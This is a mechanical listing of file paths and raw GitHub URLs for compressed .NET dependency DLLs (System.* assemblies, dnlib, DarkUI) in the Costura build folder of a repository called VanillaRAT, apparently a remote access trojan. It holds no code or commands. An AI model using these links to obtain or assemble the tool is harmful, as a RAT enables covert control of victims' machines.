https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/20AEAED12DFB8D71E39687350EB12BC0DE372AF0.costura.system.componentmodel.primitives.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/2CB934305D3648FF29FDBC7D92485003F8458848.costura.system.net.nameresolution.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/2CB934305D3648FF29FDBC7D92485003F8458848.costura.system.net.nameresolution.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/2CB98F9622F57A0A9E037A378519AA6A271302F6.costura.system.globalization.extensions.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/2CB98F9622F57A0A9E037A378519AA6A271302F6.costura.system.globalization.extensions.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/2E32D50EC33EC6635681485B754F4E58D434A5EE.costura.system.componentmodel.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/2E32D50EC33EC6635681485B754F4E58D434A5EE.costura.system.componentmodel.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/2E6A3047BD3BCEE01F55D139A3C03E6D4D2DB14A.costura.system.runtime.interopservices.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/2E6A3047BD3BCEE01F55D139A3C03E6D4D2DB14A.costura.system.runtime.interopservices.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/2EF7D0A222C3A3E564B3C72D5B71A5BE40A7ADEA.costura.system.diagnostics.process.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/2EF7D0A222C3A3E564B3C72D5B71A5BE40A7ADEA.costura.system.diagnostics.process.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/311F52B31611E6DC5FD4C0159BFA452C22980CA7.costura.system.collections.concurrent.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/311F52B31611E6DC5FD4C0159BFA452C22980CA7.costura.system.collections.concurrent.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/33AC74D6E549026736CBD35D466E7ABECDEAFB81.costura.streamlibrary.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/33AC74D6E549026736CBD35D466E7ABECDEAFB81.costura.streamlibrary.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/33D1EBD7212D747C8723CFB9E4292C99A641B964.costura.system.reflection.primitives.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/33D1EBD7212D747C8723CFB9E4292C99A641B964.costura.system.reflection.primitives.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/3946DFF0B68F0CA01689BD44C348559ADF548258.costura.system.text.encoding.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/3946DFF0B68F0CA01689BD44C348559ADF548258.costura.system.text.encoding.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/3CA31DE7F0F0784559E5A73EBD0EFB42C34D18FC.costura.system.reflection.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/3CA31DE7F0F0784559E5A73EBD0EFB42C34D18FC.costura.system.reflection.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/474944856DB781A34796BFCCE18ECD4580275AD1.costura.system.io.unmanagedmemorystream.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/474944856DB781A34796BFCCE18ECD4580275AD1.costura.system.io.unmanagedmemorystream.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/48F227C62B2001C441BCBC5B570911F096DDF421.costura.system.io.isolatedstorage.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/48F227C62B2001C441BCBC5B570911F096DDF421.costura.system.io.isolatedstorage.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/49392F58BE6F5C97C5DE59BFC44F9CFCBE1E5DD7.costura.system.net.websockets.client.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/49392F58BE6F5C97C5DE59BFC44F9CFCBE1E5DD7.costura.system.net.websockets.client.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/498F0FBBD2712F4F637BDB7370B2302FCC4966F3.costura.system.resources.reader.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/498F0FBBD2712F4F637BDB7370B2302FCC4966F3.costura.system.resources.reader.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/4D4AE0D2664025327F28400D917CC59AFD69F33A.costura.system.linq.parallel.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/4D4AE0D2664025327F28400D917CC59AFD69F33A.costura.system.linq.parallel.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/4D923B100142AFA2E0A8B7ACDB3A6DE6FEB91148.costura.system.collections.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/4D923B100142AFA2E0A8B7ACDB3A6DE6FEB91148.costura.system.collections.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/4D93C7D7E6315CA2195ED73716996ADE8E17FBB2.costura.system.linq.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/4D93C7D7E6315CA2195ED73716996ADE8E17FBB2.costura.system.linq.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/5042EE630A6C7C2986E8323A14D052C1D83B6F61.costura.system.diagnostics.contracts.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/5042EE630A6C7C2986E8323A14D052C1D83B6F61.costura.system.diagnostics.contracts.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/51E466218025126C5E524AFD2086F4AB0BF3660A.costura.system.diagnostics.tools.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/51E466218025126C5E524AFD2086F4AB0BF3660A.costura.system.diagnostics.tools.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/526C688E71A7D7410007AD5AA6EA8B83CACE76C5.costura.system.collections.nongeneric.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/526C688E71A7D7410007AD5AA6EA8B83CACE76C5.costura.system.collections.nongeneric.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/5627E53D15E56868DC9082EDCAE5A653B96B9AF1.costura.system.linq.expressions.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/5627E53D15E56868DC9082EDCAE5A653B96B9AF1.costura.system.linq.expressions.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/584B8683943A8E0AE98B10F452C94F6109D1C4EA.costura.system.runtime.handles.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/584B8683943A8E0AE98B10F452C94F6109D1C4EA.costura.system.runtime.handles.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/59FEB2AF0BE9EC4CCEC2125D2383E3E282F428A7.costura.costura.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/59FEB2AF0BE9EC4CCEC2125D2383E3E282F428A7.costura.costura.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/5AC34F02482BC2228F1175B9F3727C54F6B0A705.costura.dnlib.pdb.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/5AC34F02482BC2228F1175B9F3727C54F6B0A705.costura.dnlib.pdb.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/5E4158533532A27E03D0CCC9A0AF5E89FFFD8637.costura.system.net.security.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/5E4158533532A27E03D0CCC9A0AF5E89FFFD8637.costura.system.net.security.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/5EA3F290ECDE1BAB983CEEE2417A688B7ED9B7F5.costura.system.threading.timer.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/5EA3F290ECDE1BAB983CEEE2417A688B7ED9B7F5.costura.system.threading.timer.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/5F3DA777AF01DBC159BD8D9D97D5DC105918AFC5.costura.system.componentmodel.eventbasedasync.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/5F3DA777AF01DBC159BD8D9D97D5DC105918AFC5.costura.system.componentmodel.eventbasedasync.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/609F31B98831327677E89E08BFF7D7322BA0F4A4.costura.system.io.compression.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/609F31B98831327677E89E08BFF7D7322BA0F4A4.costura.system.io.compression.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/6523838EF4AAB39D0D3C0DF11C28ADA449EDD592.costura.system.net.webheadercollection.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/6523838EF4AAB39D0D3C0DF11C28ADA449EDD592.costura.system.net.webheadercollection.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/68C240D1A43DE1678EF13107B9300C544E9D5E4E.costura.system.io.filesystem.watcher.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/68C240D1A43DE1678EF13107B9300C544E9D5E4E.costura.system.io.filesystem.watcher.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/68E1AF02CDDD57B5581708984C2B4A35074982A3.costura.netstandard.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/68E1AF02CDDD57B5581708984C2B4A35074982A3.costura.netstandard.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/7A6276348D85EAF00AE6958117797045929078CB.costura.system.runtime.compilerservices.visualc.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/7A6276348D85EAF00AE6958117797045929078CB.costura.system.runtime.compilerservices.visualc.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/7ADD96BAA123DB819F2F3D5AA62D6F872CE8FE14.costura.system.data.common.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/7ADD96BAA123DB819F2F3D5AA62D6F872CE8FE14.costura.system.data.common.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/7B249C6390DFC90EF33F9A697174E363080091EF.costura.microsoft.win32.primitives.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/7B249C6390DFC90EF33F9A697174E363080091EF.costura.microsoft.win32.primitives.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/7D71B46BB9A28289384AA1EDF5CB03D64B3BCFF0.costura.system.runtime.extensions.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/7D71B46BB9A28289384AA1EDF5CB03D64B3BCFF0.costura.system.runtime.extensions.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/7FE773332D0461A252E52BE720A7794FCAAC7BFB.costura.system.text.encoding.extensions.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/7FE773332D0461A252E52BE720A7794FCAAC7BFB.costura.system.text.encoding.extensions.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/82BA1313448B431893C14D866F46D47B620514A9.costura.system.security.principal.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/82BA1313448B431893C14D866F46D47B620514A9.costura.system.security.principal.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/846711D4161A3950FACDEF97037898A71F4EFDA1.costura.system.globalization.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/846711D4161A3950FACDEF97037898A71F4EFDA1.costura.system.globalization.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/87C352153804FF5BD4F8AEF8851546F3CF22461E.costura.system.runtime.serialization.primitives.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/87C352153804FF5BD4F8AEF8851546F3CF22461E.costura.system.runtime.serialization.primitives.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/87ED79D195D8D93AE1155AF08857F751A7ECA245.costura.system.diagnostics.tracing.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/87ED79D195D8D93AE1155AF08857F751A7ECA245.costura.system.diagnostics.tracing.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/8A2FB74CF11719708774FC378D8B5BFCC541C986.costura.system.objectmodel.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/8A2FB74CF11719708774FC378D8B5BFCC541C986.costura.system.objectmodel.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/8BBB7BADAAA912C1F17775E9ACDCAB389704C772.costura.system.collections.specialized.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/8BBB7BADAAA912C1F17775E9ACDCAB389704C772.costura.system.collections.specialized.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/90E196DCD76168F770ABE30098399BC5866ADF1B.costura.system.xml.xpath.xdocument.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/90E196DCD76168F770ABE30098399BC5866ADF1B.costura.system.xml.xpath.xdocument.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/92BF07CCF32EB9FDF06F446A256E0271C4028BF0.costura.system.io.compression.zipfile.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/92BF07CCF32EB9FDF06F446A256E0271C4028BF0.costura.system.io.compression.zipfile.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/93702135DB0646B893BABE030BD8DC15549FF0C2.costura.system.appcontext.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/93702135DB0646B893BABE030BD8DC15549FF0C2.costura.system.appcontext.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/95699D187BF150D319CC64F90064301CAC57F338.costura.system.security.cryptography.algorithms.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/95699D187BF150D319CC64F90064301CAC57F338.costura.system.security.cryptography.algorithms.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/96314EC1A59E4BB53C5B609BF79AD4C998A7A988.costura.system.diagnostics.tracesource.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/96314EC1A59E4BB53C5B609BF79AD4C998A7A988.costura.system.diagnostics.tracesource.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/97B62A3DBE2465B4C995E082AD6FF183F6267F59.costura.system.security.claims.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/97B62A3DBE2465B4C995E082AD6FF183F6267F59.costura.system.security.claims.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/9A66414D9D5C26852F44A7954C97B8416A244C7A.costura.darkui.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/9A66414D9D5C26852F44A7954C97B8416A244C7A.costura.darkui.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/9D5686CBF45E90DF5E11D87E7B90173A1A64B1A0.costura.system.console.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/9D5686CBF45E90DF5E11D87E7B90173A1A64B1A0.costura.system.console.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/A00954217CA326C54A863D451820263A6D7EE1AF.costura.system.io.pipes.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/A00954217CA326C54A863D451820263A6D7EE1AF.costura.system.io.pipes.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/A181F5CC93E9273D9169A9954A74D73BC1852980.costura.system.linq.queryable.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/A181F5CC93E9273D9169A9954A74D73BC1852980.costura.system.linq.queryable.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/A674C009A518FA67643E617EEC6BA54632EE876B.costura.dnlib.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/A674C009A518FA67643E617EEC6BA54632EE876B.costura.dnlib.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/A67FDACEB10E828805A9E24FE0C59E1D73D19A7C.costura.system.security.cryptography.csp.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/A67FDACEB10E828805A9E24FE0C59E1D73D19A7C.costura.system.security.cryptography.csp.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/A69238054BEE26063D32B85B797BC4E0C49F79D4.costura.system.security.cryptography.primitives.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/A69238054BEE26063D32B85B797BC4E0C49F79D4.costura.system.security.cryptography.primitives.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/A6999C04B243B034F8EE7AD0D79F3CE24DF9A9D0.costura.system.io.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/A6999C04B243B034F8EE7AD0D79F3CE24DF9A9D0.costura.system.io.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/A994C87352486D433A06943C01329DD721AB343F.costura.system.dynamic.runtime.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/A994C87352486D433A06943C01329DD721AB343F.costura.system.dynamic.runtime.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/AD55AF22E5479A5ADDF01D698138E5149270E3CF.costura.system.net.networkinformation.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/AD55AF22E5479A5ADDF01D698138E5149270E3CF.costura.system.net.networkinformation.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/B0A8868D459FE0AF34D16C263CFE0202C414DC53.costura.system.security.cryptography.x509certificates.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/B0A8868D459FE0AF34D16C263CFE0202C414DC53.costura.system.security.cryptography.x509certificates.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/B1756DC750ED5CFD5D0BFC70CB899FD590867A0C.costura.system.resources.writer.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/B1756DC750ED5CFD5D0BFC70CB899FD590867A0C.costura.system.resources.writer.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/B219DD45550762B54DAB46533D489C4755F55E0E.costura.system.net.primitives.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/B219DD45550762B54DAB46533D489C4755F55E0E.costura.system.net.primitives.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/B56C3D2E270B1C793A2EE17CAC9C98B178258E94.costura.system.net.requests.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/B56C3D2E270B1C793A2EE17CAC9C98B178258E94.costura.system.net.requests.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/B6B8986FC1B5140817DE262AE4102499E37DAFFD.costura.system.runtime.serialization.formatters.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/B6B8986FC1B5140817DE262AE4102499E37DAFFD.costura.system.runtime.serialization.formatters.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/B81FF87B407578EFBF184BDC10D0F101610379DB.costura.system.runtime.numerics.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/B81FF87B407578EFBF184BDC10D0F101610379DB.costura.system.runtime.numerics.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/BBBB4C2C3911AE1F5BA7FAF1D632ED0F14D9B6AC.costura.system.xml.xmlserializer.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/BBBB4C2C3911AE1F5BA7FAF1D632ED0F14D9B6AC.costura.system.xml.xmlserializer.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/BF2C1287F0EC04223CD17FE20AB2ECFFF18579E3.costura.system.threading.overlapped.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/BF2C1287F0EC04223CD17FE20AB2ECFFF18579E3.costura.system.threading.overlapped.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/BF83A7E98418BDE907DEAE8C0C0F3FB0F6C9DB1A.costura.system.resources.resourcemanager.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/BF83A7E98418BDE907DEAE8C0C0F3FB0F6C9DB1A.costura.system.resources.resourcemanager.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/BFA0E27BE1D56BA48918A9B7CA7090AF7779A10E.costura.system.io.filesystem.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/BFA0E27BE1D56BA48918A9B7CA7090AF7779A10E.costura.system.io.filesystem.dll.compressed -------------------------------------------------------------------------------- /VanillaRat/obj/Debug/Costura/BFE2384A92B385665689AD5A72F23ABC8C022D82.costura.system.componentmodel.typeconverter.dll.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/BFE2384A92B385665689AD5A72F23ABC8C022D82.costura.system.componentmodel.typeconverter.dll.compressed -------------------------------------------------------------------------------- 